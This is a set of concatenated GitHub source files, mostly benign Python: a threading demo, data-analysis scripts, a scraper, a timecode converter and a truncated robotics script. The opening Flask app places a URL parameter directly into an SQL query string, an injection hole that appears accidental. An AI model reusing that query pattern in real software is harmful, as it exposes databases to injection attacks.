    'family': ['G', 'GB', 'PG-13'],\n        'adult': ['R', 'NC-17'],\n    }\n\n    if group in levels:\n        level = '\\\", \\\"'.join(levels[group])\n        level = f'\\\"{level}\\\"'\n    else:\n        return jsonify([])\n\n    query = f\"\"\"\n            SELECT\n                title\n                , rating\n                , description\n            FROM netflix\n            WHERE rating IN ({level})\n        \"\"\"\n    print(query)\n\n    response = db_connect(query)\n    response_json = []\n    for film in response:\n        response_json.append({\n            'title': film[0],\n            'rating': film[1],\n            'description': film[2].strip(),\n        })\n    return jsonify(response_json)\n\n\n@app.route('/genre/<genre>')\ndef search_by_genre(genre):\n    query = f\"\"\"\n            SELECT\n                title\n                , description\n            FROM netflix\n            WHERE listed_in LIKE '%{genre}%'\n            ORDER BY release_year DESC\n            LIMIT 10\n        \"\"\"\n\n    response = db_connect(query)\n    response_json = []\n    for film in response:\n        response_json.append({\n            'title': film[0],\n            'description': film[1],\n        })\n    return jsonify(response_json)\n\n\napp.run()\n","repo_name":"Kuzurmann/DZ_14_3","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"19833637546","text":"\r\nfrom threading import Thread, Condition\r\nimport time\r\nimport random\r\n\r\nprateleiraMercado = []\r\ncontroladorFila = Condition()\r\n\r\n\r\nclass Produto(Thread):\r\n    def run(self):\r\n        produtos = [\"carne\", \"ovo\", \"arroz\", \"feijão\", \"macarrão\", \"banana\",\r\n                    \"maça\", \"miojo\", \"abacaxi\", \"laranja\", \"cerveja\", \"vinho\",\r\n                    \"cachaça\", \"creme de leite\", \"leite condensado\", \"frango\",\r\n                    \"café\", \"óleo\", \"açucar\", \"leite\", \"sal\", \"detergente\",\r\n                    \"chocolate\", \"batata\", \"cenoura\", \"quiabo\", \"acerola\",\r\n                    \"agua\", \"suco\", \"refrigerante\", \"xuxu\", \"pepino\"]\r\n        global prateleiraMercado\r\n        while True:\r\n            produto = random.choice(produtos)\r\n            controladorFila.acquire()\r\n            prateleiraMercado.append(produto)\r\n            print(\"Funcionário: Repositor incluiu\", produto, \"na prateleira.\")\r\n            controladorFila.notify()\r\n            controladorFila.release()\r\n            time.sleep(random.random())\r\n\r\n\r\nclass Consumidor(Thread):\r\n    def run(self):\r\n        global prateleiraMercado\r\n        while True:\r\n            controladorFila.acquire()\r\n            if not prateleiraMercado:\r\n                print(\"Prateleira sem produtos, cliente aguardando repositor.\")\r\n                controladorFila.wait()\r\n            produto = prateleiraMercado.pop(0)\r\n            print(\"Consumidor: Cliente pegou\", produto, \"da prateleira.\")\r\n            controladorFila.release()\r\n            time.sleep(random.random())\r\n","repo_name":"DevAltOfCtrl/Arquitetura_e_Projeto_de_Sistemas","sub_path":"AC04/produtoconsumidor.py","file_name":"produtoconsumidor.py","file_ext":"py","file_size_in_byte":1540,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"37373502703","text":"#!/usr/bin/env python3\n# statistic.py [file_path]\n\nimport sys\nfrom collections import defaultdict\n\nfile_path = sys.argv[1]\nwith open(file_path) as f:\n    hist = defaultdict(int)\n    sum_ = 0\n    line_ = 0\n    max_ = 0\n    for l in f:\n        n = int(l.strip())\n        hist[n] += 1\n        sum_ += n\n        line_ += 1\n        if max_ < n:\n            max_ = n\n    average = sum_ / line_\n    print('avarage =', average)\n    print('sum = ', sum_)\n    print('line = ', line_)\n    print('max = ', max_)\n    print('hist = ', hist)","repo_name":"qavion/tmu-study-codes","sub_path":"b4-bpe-corpus-filtering/src/statistic.py","file_name":"statistic.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"74947551183","text":"import argparse\nimport pandas as pd\nimport itertools\nimport os\n\nfrom ast import literal_eval\n\nfrom helper_functions import comorbidity_indicator\n\n# Computes basic stats for a data segment; takes in a Pandas Dataframe with\n# appropriate fields (sum_costs and num_comorbidities).\ndef segment_stats(data):\n  row_dict = {}\n  row_dict['avg_cost'] = data.sum_costs.mean()\n  row_dict['std_cost'] = data.sum_costs.std()\n  row_dict['num_person_years'] = data.shape[0]\n  row_dict['avg_num_com'] = data.no_comorbidities.mean()\n  row_dict['std_num_com'] = data.no_comorbidities.std()\n    \n  return row_dict\n\n\ndef main(args):\n  df_merged = pd.read_csv(args.input_file)\n  df_merged.classes = df_merged.classes.apply(lambda x: literal_eval(x))\n  df_merged.agg_indices = \\\n    df_merged.agg_indices.fillna('None').apply(lambda x: literal_eval(x))\n\n  df_merged.sex.fillna('Not provided')\n  pop_N = df_merged.shape[0] # grab total number of person-years\n\n  # IMPORT DESCRIPTION INDEX\n  desc_dict = pd.read_excel(args.disease_dict).long.to_dict()\n\n  # We will be grouping by pairs of comorbid diseases.\n  disease_dyads = [i for i in itertools.combinations(range(len(desc_dict)), 2)]\n  # Ancillary function to convert pairs of disease indices to pairs of\n  # disease descriptions.\n  def map_dyad(d_dyad):\n    return [desc_dict[d_dyad[0]], desc_dict[d_dyad[1]]]\n\n  bins = [0,18,35,50,65,150]\n  age_labels = ['0-18','18-35','35-50','50-65','65+']\n  df_merged['age_bin'] = pd.cut(df_merged.age, bins=bins, labels=age_labels)\n\n  sexes = ['F','M']\n\n  # convert comorbidity list to boolean columns\n  ## comorbidity_indicator()\n  for i in range(len(desc_dict)):\n    df_merged[desc_dict[i]] = comorbidity_indicator(df_merged,[str(i)])\n\n  # disease stats\n  diseases_df = pd.DataFrame()\n  for i in range(len(desc_dict)):\n    temp = df_merged[df_merged[desc_dict[i]]]\n    diseases_df = diseases_df.append(pd.Series(segment_stats(temp), name=i))\n  diseases_df['frequency'] = diseases_df.num_person_years / pop_N\n#  diseases_df.to_csv(os.path.join(args.output_path, 'diseases_all_pop.csv'))\n    \n  # comorbid disease dyad stats\n  d_dyad_df = pd.DataFrame()\n\n  for i in disease_dyads:\n    d_dyad = map_dyad(i)\n    d_dyad_segment = df_merged[df_merged[d_dyad[0]] & df_merged[d_dyad[1]]]\n    d_dyad_df = d_dyad_df.append(\n      pd.Series(segment_stats(d_dyad_segment), name=i)\n    )\n\n  expected_df = pd.DataFrame()\n\n  for i in d_dyad_df.index.tolist():\n    expected_df = expected_df.append(pd.Series(\n      {'expected': (diseases_df.iloc[i[0]].frequency *\\\n                    diseases_df.iloc[i[1]].frequency) },\n      name = i\n    ))\n  \n    \n  d_dyad_df = pd.concat([d_dyad_df, expected_df], axis = 1)\n  d_dyad_df['observed'] = d_dyad_df.num_person_years / pop_N\n  d_dyad_df['O/E'] = d_dyad_df.observed / d_dyad_df.expected\n  d_dyad_df['diseases'] = d_dyad_df.index.map(map_dyad)\n  d_dyad_df['total_cost'] = d_dyad_df.avg_cost * d_dyad_df.num_person_years\n\n  # Filter by minimum number of person-years\n  d_dyad_df = d_dyad_df[d_dyad_df.num_person_years >= args.py_filter]\n  \n  d_dyad_df.sort_values(by=args.sort_type, ascending=False).to_csv(\n    os.path.join(args.output_path, 'disease_dyads_all_pop.csv'),\n    index=False, float_format='%.2f'\n  )\n  \n  if not (args.age_bucket or args.gender_bucket): return\n  # diseases + population segments\n  buckets = [list(map(lambda x: map_dyad(x), disease_dyads))]\n  if args.age_bucket:\n    buckets.append(age_labels)\n  if args.gender_bucket:\n    buckets.append(sexes)\n  segments = list(itertools.product(*buckets))\n\n  segments_df = pd.DataFrame()\n\n  for idx, segment in enumerate(segments):\n    segment_df = df_merged[df_merged[segment[0][0]] & df_merged[segment[0][1]]]\n    if args.age_bucket:\n      segment_df = segment_df[segment_df.age_bin == segment[1]]\n    if args.gender_bucket:\n      segment_df = segment_df[segment_df.sex == segment[-1]]\n    stats = segment_stats(segment_df)\n    stats['segment'] = segment\n    segments_df = segments_df.append(pd.Series(stats, name=idx))\n\n  # Filter by minimum number of person-years\n  segments_df = segments_df[segments_df.num_person_years >= args.py_filter]\n  segments_df['total_cost'] = segments_df.avg_cost * segments_df.num_person_years\n\n  segments_df.sort_values(by=args.sort_type, ascending=False).to_csv(\n    os.path.join(args.output_path, 'disease_dyads_segmented.csv'),\n    index=False, float_format='%.2f'\n  )\n\n  \nif __name__ == '__main__':\n  parser = argparse.ArgumentParser()\n  parser.add_argument('--disease_dict', default='data/disease_dictionary.xls',\n                      help='Dictionary of diseases/conditions to segment by')\n  parser.add_argument('--py_filter', default=1, type=int,\n                      help='Minimum number of person-years per population ' +\n                      'segment to include in results')\n  parser.add_argument('--gender_bucket', action='store_true',\n                      help='Bucket by gender')\n  parser.add_argument('--age_bucket', action='store_true',\n                      help='Bucket by age group')\n  parser.add_argument('--sort_type', default='total_cost',\n                      choices=['total_cost', 'avg_cost', 'num_person_years'],\n                      help='Sort results by: total_cost, avg_cost, '\n                      'or num_person_years]')\n  parser.add_argument('--input_file', type=str, required=True,\n                      help='Location of input CSV file containing claims by ' +\n                      'person-year')\n  parser.add_argument('--output_path', default='output',\n                      help='Directory to put output files in')\n\n  args = parser.parse_args()\n  \n  if not os.path.exists(args.output_path):\n    os.mkdir(args.output_path)\n  \n  main(args)","repo_name":"usnish/MCC_tool","sub_path":"run_analysis.py","file_name":"run_analysis.py","file_ext":"py","file_size_in_byte":5680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"72496243661","text":"SEED = 0\nWORDVECTOR_DIM = 256 \nWORDVECTOR_WINDOW = 7 \nWORDVECTOR_MIN_COUNT = 3\nWORDVECTOR_N_ITER = 30   \n\nDENSE_DROPOUT_RATE = 0.2\nRNN_DROPOUT_RATE = 0.3 \n\nBATCH_SIZE = 256  \nEPOCHS = 50   \nVALIDATION_SPLIT = 0.1 \n\nRNN_MODEL_CHECKPOINT_PATH = './rnn.hdf5' \nSEMISUPERVISED_RNN_MODEL_CHECKPOINT_PATH = './semirnn.hdf5' \nBOW_MODEL_CHECKPOINT_PATH = './bow.hdf5' \nPUNCTUATION_MODEL_CHECKPOINT_PATH = './punc.hdf5'\nHW5_MODEL_PATH = './hw5.pickle' \n\nSEMISUPERVISED_THRESHOLD = 0.9 \n\nBOW_MAX_NUM_WORDS = 5000 \n\nSTOPWORDS = set(['i', 'me', 'my', 'myself', 'we', 'our', 'ours', 'ourselves', 'you', \n'your', 'yours', 'yourself', 'yourselves', 'he', 'him', 'his', 'himself', \n'she', 'her', 'hers', 'herself', 'it', 'its', 'itself',\n'they', 'them', 'their', 'theirs', 'themselves', 'what', 'which',\n'who', 'whom', 'this', 'that', 'these', 'those', 'am', 'is', 'are',\n'was', 'were', 'be', 'been', 'being', 'have', 'has', 'had',\n'having', 'do', 'does', 'did', 'doing', 'a', 'an', 'the', 'and',\n'but', 'if', 'or', 'because', 'as', 'until', 'while', 'of', 'at',\n'by', 'for', 'with', 'about', 'against', 'between', 'into',\n'through', 'during', 'before', 'after', 'above', 'below', 'to',\n'from', 'up', 'down', 'in', 'out', 'on', 'off', 'under',\n'again', 'further', 'then', 'once', 'here', 'there', 'when',\n'where', 'all', 'both', 'each', 'few', 'more',\n'most', 'other', 'some', 'own',\n'same', 'so', 'than', 's', 't', 'now'])\n","repo_name":"cigarbeer/ML2018SPRING","sub_path":"hw5/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"23428644863","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Apr  5 08:59:37 2022\n## Examples:\n\n    print(convert(value='10:08:06:12',framerate=25,start='10:00:00:00').timecode_to_frames())\n\n    print(convert(value=600,framerate=25,start=500).frames_to_timecode())\n\n    print(convert(value='00:08:06:12',framerate=25,start='00:00:00:00')())\n\nbased on the work found in https://stackoverflow.com/a/34607115\n\n#### TODO:\n    - consider usiong the meemoo logger\n\n@author: tina\n\"\"\"\nimport argparse\nimport logging\nimport os\nimport sys\nsys.path.append(os.path.dirname(os.path.abspath(__file__)))\nlogger = logging.getLogger(__name__)  # root logger\nlogging.basicConfig(level=logging.INFO,\n                    format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s',\n                    datefmt='%m-%d %H:%M',\n                    filename='exporter.log',\n                    filemode='a')\n# define a Handler which writes INFO messages or higher to the sys.stderr\nconsole = logging.StreamHandler()\nconsole.setLevel(logging.INFO)\n# set a format which is simpler for console use\nformatter = logging.Formatter('%(name)-12s: %(levelname)-8s %(message)s')\n# tell the handler to use this format\nconsole.setFormatter(formatter)\n# add the handler to the root logger\nlogging.getLogger('__main__').addHandler(console)\n\ndef _timecode(seconds, framerate):\n    return '{h:02d}:{m:02d}:{s:02d}:{f:02d}' \\\n            .format(h=int(seconds/3600),\n                    m=int(seconds/60%60),\n                    s=int(seconds%60),\n                    f=round((seconds-int(seconds))* framerate))\n\n\ndef _frames(seconds, framerate):\n    return seconds * framerate\n\n\ndef _seconds(value,framerate):\n    if isinstance(value, str):\n        _zip_ft = zip((3600, 60, 1, 1/framerate), value.split(':'))\n        return sum(f * float(t) for f,t in _zip_ft)\n    elif isinstance(value, (int, float)):  # frames\n        return value / framerate\n    else:\n        return 0\n\nclass convert(object):\n    def __init__(self, value, framerate,start=0):\n        self.framerate = framerate\n        self.value = value\n        self.start = start\n\n    def __call__(self):\n        if isinstance(self.value, str):\n            timecode = self.value\n            return _frames(_seconds(timecode,\n                                    self.framerate) - _seconds(self.start,\n                                                               self.framerate),\n                                                               self.framerate)\n        elif isinstance(self.value, (int, float)):\n            frames = self.value\n            return _timecode(_seconds(frames,\n                                      self.framerate) + _seconds(self.start,\n                                                                 self.framerate),\n                                                                 self.framerate)\n    def timecode_to_frames(self,start=None):\n        timecode = self.value\n        return _frames(_seconds(timecode,\n                                self.framerate) - _seconds(self.start,\n                                                           self.framerate),\n                                                           self.framerate)\n    def frames_to_timecode(self,start=None):\n        frames = self.value\n        return _timecode(_seconds(frames,\n                                  self.framerate) + _seconds(self.start,\n                                                             self.framerate),\n                                                             self.framerate)\n\ndef main():\n    \"\"\"## Description:\n\n        - convert a timecode string to frames or frames to timecode\n\n    Args:\n         value: string or int\n\n        start: ofset start time eg 10:00:00:00\n\n        framerate: nr of frames / second\n\n\n    \"\"\"\n    parser = argparse.ArgumentParser(description=\"export mediahaven partial from browse\")\n    parser.add_argument(\n      \"-v\",\n      \"--value\",\n      help=\"10:00:00:00 or int 600\",\n      required=True,\n      )\n    parser.add_argument(\n      \"-s\",\n      \"--start\",\n      help=\"start frame\",\n      required=True,\n      )\n    parser.add_argument(\n      \"-r\",\n      \"--framerate\",\n      help=\"nr of frames / seconds\",\n      required=True,\n      )\n    args = parser.parse_args()\n    logger.info(str(args))\n    o = convert(value=args.value,framerate=int(args.framerate),start=args.start)()\n    o = int(round(o))\n    print(str(o))\n    logger.info(str(o))\n    return o\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"viaacode/mediahaven_partial_browse","sub_path":"timecode_helper/convert.py","file_name":"convert.py","file_ext":"py","file_size_in_byte":4479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"31119387283","text":"from matplotlib import pyplot as plt\n\nstat_files = [\n    ('Libre', [\n        'stats_dtlz1_3.txt',\n        ]),\n    ('NSGA2', [\n        'stats_dtlz1_3__nsga2_1.txt',\n        'stats_dtlz1_3__nsga2_2.txt',\n        'stats_dtlz1_3__nsga2_3.txt',\n    ]),\n]\n\n# Get color\ndef get_color():\n    for color in ['b', 'g', 'r']:\n        yield color\nclrs = get_color()\n\n\ndef show_stats_for_one_file(alg, stats):  # evals, hv, uni\n    plt.plot([e[0] for e in stats], [e[1] for e in stats], clrs.next() + '-', label=alg, linewidth=2)\n\ndef show_stats_for_files(alg, stats):  # (evals, [hvs], [uni])\n    clr = clrs.next()\n    plt.plot([e[0] for e in stats], [min(e[1]) for e in stats], clr + '-', label=alg, linewidth=2)\n    plt.plot([e[0] for e in stats], [sum(e[1])/len(e[1]) for e in stats], clr + '-', label=alg)\n    plt.plot([e[0] for e in stats], [max(e[1]) for e in stats], clr + '-', label=alg, linewidth=2)\n    plt.fill_between([e[0] for e in stats], [min(e[1]) for e in stats], [max(e[1]) for e in stats], color=clr, alpha='0.3')\n\ndef parse_stats_for_one_file(files):\n    open_f = open(files[0], 'r')\n    stats = []\n    for line in open_f:\n        stats.append([float(e) for e in line.split()])\n    open_f.close()\n    return stats\n\ndef parse_stats_for_files(fs):\n    stats = []     # [ev, hv, uni]  [ev, hv, uni]  [ev, hv, uni]\n    for f in fs:\n        stats.append(parse_stats_for_one_file([f]))\n    merged = []\n    for i in range(len(stats[0])):\n        merged.append((stats[0][i][0], [s[i][1] for s in stats], [s[i][2] for s in stats]))\n    return merged\n\nif __name__ == '__main__':\n    for alg, files in stat_files:\n        print('Showing', alg)\n        if len(files) == 1:\n            show_stats_for_one_file(alg, parse_stats_for_one_file(files))\n        else:\n            show_stats_for_files(alg, parse_stats_for_files(files))\n    plt.ylabel('Hyper volume')\n    plt.xlabel('Trials')\n    plt.show()\n","repo_name":"niekas/NSGA2","sub_path":"log/show_stats.py","file_name":"show_stats.py","file_ext":"py","file_size_in_byte":1895,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"}
{"seq_id":"10815721814","text":"import re\nfrom datetime import datetime, time\n\nfrom city_scrapers_core.constants import COMMISSION\nfrom city_scrapers_core.items import Meeting\nfrom city_scrapers_core.spiders import CityScrapersSpider\n\n\nclass CookLocalRecordsSpider(CityScrapersSpider):\n    name = \"cook_local_records\"\n    agency = \"Cook County Local Records Commission\"\n    timezone = \"America/Chicago\"\n    start_urls = [\n        \"https://cyberdriveillinois.com/departments/archives/records_management/lrc_cook_county_meeting_schedule.html\"  # noqa\n    ]\n    location = {\n        \"name\": \"James R Thompson Center\",\n        \"address\": \"100 W Randolph St, Room 9-035 Chicago, IL 60601\",\n    }\n\n    def parse(self, response):\n        \"\"\"\n        `parse` should always `yield` Meeting items.\n\n        Change the `_parse_title`, `_parse_start`, etc methods to fit your scraping\n        needs.\n        \"\"\"\n        description = response.css(\".content > p::text\").extract_first()\n        if not re.search(r\"100 W(est)? Randolph\", description):\n            raise ValueError(\"Meeting location has changed\")\n        for item in response.css(\".content > ul li\"):\n            meeting = Meeting(\n                title=\"Local Records Commission\",\n                description=\"\",\n                classification=COMMISSION,\n                start=self._parse_start(item),\n                end=None,\n                all_day=False,\n                time_notes=\"\",\n                location=self.location,\n                links=self._parse_links(item, response),\n                source=response.url,\n            )\n\n            meeting[\"status\"] = self._get_status(\n                meeting, text=\" \".join(item.css(\"*::text\").extract())\n            )\n            meeting[\"id\"] = self._get_id(meeting)\n\n            yield meeting\n\n    def _parse_start(self, item):\n        \"\"\"Parse start datetime as a naive datetime object.\"\"\"\n        day_str = item.xpath(\"./text()\").extract_first()\n        date_str = re.search(r\"\\w+\\s+\\d{1,2},\\s+\\d{4}\", day_str).group()\n        date_obj = datetime.strptime(date_str, \"%B %d, %Y\")\n        return datetime.combine(date_obj.date(), time(11))\n\n    def _parse_links(self, item, response):\n        \"\"\"Parse or generate links.\"\"\"\n        links = []\n        for link in item.css(\"a\"):\n            links.append(\n                {\n                    \"title\": link.xpath(\"./text()\").extract_first().strip(),\n                    \"href\": response.urljoin(link.xpath(\"@href\").extract_first()),\n                }\n            )\n        return links\n","repo_name":"City-Bureau/city-scrapers","sub_path":"city_scrapers/spiders/cook_local_records.py","file_name":"cook_local_records.py","file_ext":"py","file_size_in_byte":2513,"program_lang":"python","lang":"en","doc_type":"code","stars":309,"dataset":"github-code","pt":"47"}
{"seq_id":"12920506868","text":"class Node:\n    def __init__(self,data):\n        self.data=data\n        self.left=None\n        self.right=None\n\ndef getLevelAndParent(root,key):\n    if(root == None):\n        return 0,None\n    if(root.left != None and root.left.data == key):\n        return 1,root\n    if(root.right != None and root.right.data == key):\n        return 1,root\n    llvl,p=getLevelAndParent(root.left,key)\n    if(p == None):\n        rlvl,p=getLevelAndParent(root.right,key)\n        if(p == None):\n            return 0,None\n        return (rlvl+1),p\n    return (llvl+1),p\n\ndef inorder(root):\n    if(root == None):\n        return\n    inorder(root.left)\n    print(root.data,end=\" \")\n    inorder(root.right)\n\ndef isCousin(root, a, b):\n    # inorder(root)\n    # print()\n    alvl,ap=getLevelAndParent(root,a)\n    # print(\"alvl:{0}, ap:{1}\".format(alvl,ap.data))\n    blvl,bp=getLevelAndParent(root,b)\n    # print(\"blvl:{0}, bp:{1}\".format(blvl,bp.data))\n    \n    if(ap != bp and alvl == blvl):\n        return 1\n    else:\n        return 0\n\ndef construct(data):\n    if(len(data) == 0):\n        return None\n    \n    root=Node(data.pop(0))\n    q=[root]\n\n    while(len(q) > 0):\n        n=q.pop(0)\n        if(n.left == None and len(data) > 0):\n            n.left=Node(data.pop(0))\n            q.append(n.left)\n        if(n.right == None and len(data) > 0):\n            n.right=Node(data.pop(0))\n            q.append(n.right)\n\n    return root\n\ndef inorder(root):\n    if(root == None):\n        return\n    inorder(root.left)\n    print(root.data,end=\" \")\n    inorder(root.right)\n\ndef main(data,a,b):\n    root=construct(data)\n    inorder(root)   \n    print()\n    print(isCousin(root,a,b))\n\nmain([1,2,3,4,5,6,7],4,6)","repo_name":"Aniket1995/Tree","sub_path":"node_cousions.py","file_name":"node_cousions.py","file_ext":"py","file_size_in_byte":1676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"72857078864","text":"'''\n*****************************************************************************************\n*\n*                ===============================================\n*                   Nirikshak Bot (NB) Theme (eYRC 2020-21)\n*                ===============================================\n*\n*  This script is to implement Task 5 of Nirikshak Bot (NB) Theme (eYRC 2020-21).\n*  \n*  This software is made available on an \"AS IS WHERE IS BASIS\".\n*  Licensee/end user indemnifies and will keep e-Yantra indemnified from\n*  any and all claim(s) that emanate from the use of the Software or \n*  breach of the terms of this agreement.\n*  \n*  e-Yantra - An MHRD (now MOE) project under National Mission on Education using ICT (NMEICT)\n*\n*****************************************************************************************\n'''\n\n# Team ID:          [ Team-ID ]\n# Author List:      [ Names of team members worked on this file separated by Comma: Name1, Name2, ... ]\n# Filename:         task_5.py\n# Functions:        \n#                   [ Comma separated list of functions in this file ]\n# Global variables: \n#                     [ List of global variables defined in this file ]\n\n# NOTE: Make sure you do NOT call sys.exit() in this code.\n\n####################### IMPORT MODULES #######################\n## You are not allowed to make any changes in this section. ##\n##############################################################\nimport numpy as np\nimport cv2\nimport os, sys\nimport traceback\nimport time\nimport math\nimport json\n\n##############################################################\n\nstart_coord_4 = (0, 5)\nstart_coord_1, end_coords_1, end_coord_4 = (0, 0), (0, 0), (0, 0)\ngate = True\n\n# Importing the sim module for Remote API connection with CoppeliaSim\ntry:\n    import sim\n\nexcept Exception:\n    print('\\n[ERROR] It seems the sim.py OR simConst.py files are not found!')\n    print('\\n[WARNING] Make sure to have following files in the directory:')\n    print(\n        'sim.py, simConst.py and appropriate library - remoteApi.dll (if on Windows), remoteApi.so (if on Linux) or remoteApi.dylib (if on Mac).\\n')\n\n# Import 'task_1b.py' file as module\ntry:\n    import task_1b\n\nexcept ImportError:\n    print('\\n[ERROR] task_1b.py file is not present in the current directory.')\n    print('Your current directory is: ', os.getcwd())\n    print('Make sure task_1b.py is present in this current directory.\\n')\n\n\nexcept Exception as e:\n    print('Your task_1b.py throwed an Exception. Kindly debug your code!\\n')\n    traceback.print_exc(file=sys.stdout)\n\n# Import 'task_1a_part1.py' file as module\ntry:\n    import task_1a_part1\n\nexcept ImportError:\n    print('\\n[ERROR] task_1a_part1.py file is not present in the current directory.')\n    print('Your current directory is: ', os.getcwd())\n    print('Make sure task_1a_part1.py is present in this current directory.\\n')\n\n\nexcept Exception as e:\n    print('Your task_1a_part1.py throwed an Exception. Kindly debug your code!\\n')\n    traceback.print_exc(file=sys.stdout)\n\n# Import 'task_2a.py' file as module\ntry:\n    import task_2a\n\nexcept ImportError:\n    print('\\n[ERROR] task_2a.py file is not present in the current directory.')\n    print('Your current directory is: ', os.getcwd())\n    print('Make sure task_2a.py is present in this current directory.\\n')\n\n\nexcept Exception as e:\n    print('Your task_2a.py throwed an Exception. Kindly debug your code!\\n')\n    traceback.print_exc(file=sys.stdout)\n\n# Import 'task_2b.py' file as module\ntry:\n    import task_2b\n\nexcept ImportError:\n    print('\\n[ERROR] task_2b.py file is not present in the current directory.')\n    print('Your current directory is: ', os.getcwd())\n    print('Make sure task_2b.py is present in this current directory.\\n')\n\n\nexcept Exception as e:\n    print('Your task_2b.py throwed an Exception. Kindly debug your code!\\n')\n    traceback.print_exc(file=sys.stdout)\n\n# Import 'task_3.py' file as module\ntry:\n    import task_3\n\nexcept ImportError:\n    print('\\n[ERROR] task_3.py file is not present in the current directory.')\n    print('Your current directory is: ', os.getcwd())\n    print('Make sure task_3.py is present in this current directory.\\n')\n\n\nexcept Exception as e:\n    print('Your task_3.py throwed an Exception. Kindly debug your code!\\n')\n    traceback.print_exc(file=sys.stdout)\n\n# Import 'task_4a.py' file as module\ntry:\n    import task_4a\n\nexcept ImportError:\n    print('\\n[ERROR] task_4a.py file is not present in the current directory.')\n    print('Your current directory is: ', os.getcwd())\n    print('Make sure task_4a.py is present in this current directory.\\n')\n\n\nexcept Exception as e:\n    print('Your task_4a.py throwed an Exception. Kindly debug your code!\\n')\n    traceback.print_exc(file=sys.stdout)\n\n\n##############################################################\n\n\n# NOTE:    YOU ARE NOT ALLOWED TO MAKE ANY CHANGE TO THIS FUNCTION\n# \n# Function Name:    send_color_and_collection_box_identified\n#        Inputs:    ball_color and collection_box_name\n#       Outputs:    None\n#       Purpose:    1. This function should only be called when the task is being evaluated using\n#                        test executable.\n#                    2. The format to send the data is as follows:\n#                       'color::collection_box_name'                   \ndef send_color_and_collection_box_identified(ball_color, collection_box_name):\n    global client_id\n\n    color_and_cb = [ball_color + '::' + collection_box_name]\n    inputBuffer = bytearray()\n    return_code, retInts, retFloats, retStrings, retBuffer = sim.simxCallScriptFunction(client_id,\n                                                                                        'evaluation_screen_respondable_1',\n                                                                                        sim.sim_scripttype_childscript,\n                                                                                        'color_and_cb_identification',\n                                                                                        [], [], color_and_cb,\n                                                                                        inputBuffer,\n                                                                                        sim.simx_opmode_blocking)\n\n\n################# ADD UTILITY FUNCTIONS HERE #################\n## You can define any utility functions for your code.      ##\n## Please add proper comments to ensure that your code is   ##\n## readable and easy to understand.                         ##\n##############################################################\ndef get_start_end_coord(data, cl):\n    global start_coord_1, end_coord_1, end_coord_4\n    tmp = data[cl][0]\n    del data[cl][0]\n    if tmp == \"T1_CB1\":\n        end_coord_4 = (5, 9)\n        start_coord_1 = (5, 0)\n        end_coord_1 = (0, 4)\n    elif tmp == \"T1_CB2\":\n        end_coord_4 = (5, 9)\n        start_coord_1 = (5, 0)\n        end_coord_1 = (4, 9)\n    elif tmp == \"T1_CB3\":\n        end_coord_4 = (5, 9)\n        start_coord_1 = (5, 0)\n        end_coord_1 = (9, 5)\n\n    return tmp\n\n\ndef draw_setpoint(client_id, coords, table):\n    coppelia_coord = []\n\n    for element in coords:\n        coppelia_coord.append(((10 * element) - 45) / 100)\n\n    inputBuffer = bytearray()\n\n    return_code, retInts, retFloats, retStrings, retBuffer = sim.simxCallScriptFunction(client_id,\n                                                                                        \"top_plate_respondable_t\" + str(table) + \"_1\",\n                                                                                        sim.sim_scripttype_customizationscript,\n                                                                                        \"drawSetpoint\", [],\n                                                                                        coppelia_coord, [],\n                                                                                        inputBuffer,\n                                                                                        sim.simx_opmode_blocking)\n\n\ndef send_data_to_draw_path(client_id, path, n):\n    coppelia_sim_coord_path = []\n\n    for coord in path:\n        for element in coord:\n            coppelia_sim_coord_path.append(((10 * element) - 45) / 100)\n\n    inputBuffer = bytearray()\n\n    return_code, retInts, retFloats, retStrings, retBuffer = sim.simxCallScriptFunction(client_id,\n                                                                                        \"top_plate_respondable_t\" + str(n) + \"_1\",\n                                                                                        sim.sim_scripttype_customizationscript,\n                                                                                        'drawPath', [],\n                                                                                        coppelia_sim_coord_path, [],\n                                                                                        inputBuffer,\n                                                                                        sim.simx_opmode_blocking)\n\n    ##################################################\ndef convert_path_to_pixels(path):\n    pixel_path = []\n    for coord in path:\n        pixel_path.append((coord[0] * 128 + 64, coord[1] * 128 + 64))\n\n    return pixel_path\n\n\ndef convert_pixel_to_path(coord):\n    coord = [(coord[0] - 64) / 128, (coord[1] - 64) / 128]\n\n    return coord\n\n\ndef traverse_path(pixel_path, table):\n    global gate\n\n    turns = []\n    prev_turn = pixel_path[0]\n    n = len(pixel_path)\n    signx, signy = 1, 1\n    tmp = 30\n    for i in range(1, len(pixel_path) - 1):\n        signx = -1 * np.sign(pixel_path[i][0] - pixel_path[i - 1][0])\n        signy = -1 * np.sign(pixel_path[i][1] - pixel_path[i - 1][1])\n        if (pixel_path[i][0] == pixel_path[i - 1][0] and pixel_path[i][1] == pixel_path[i + 1][1]) or \\\n                (pixel_path[i][1] == pixel_path[i - 1][1] and pixel_path[i][0] == pixel_path[i + 1][0]):\n            turns.append([pixel_path[i][1] + signy * tmp, pixel_path[i][0] + signx * tmp])\n            prev_turn = pixel_path[i]\n        elif abs(prev_turn[0] - pixel_path[i][0]) > 100 or abs(prev_turn[1] - pixel_path[i][1]) > 100:\n            turns.append([pixel_path[i][1] + signy * tmp, pixel_path[i][0] + signx * tmp])\n            prev_turn = pixel_path[i]\n\n    for i in range(0, len(turns)):\n        if turns[i][0] < 70:\n            turns[i][0] = turns[i][0] + 30\n        if turns[i][0] > 1200:\n            turns[i][0] = turns[i][0] - 35\n        if turns[i][1] < 70:\n            turns[i][1] = turns[i][1] + 30\n       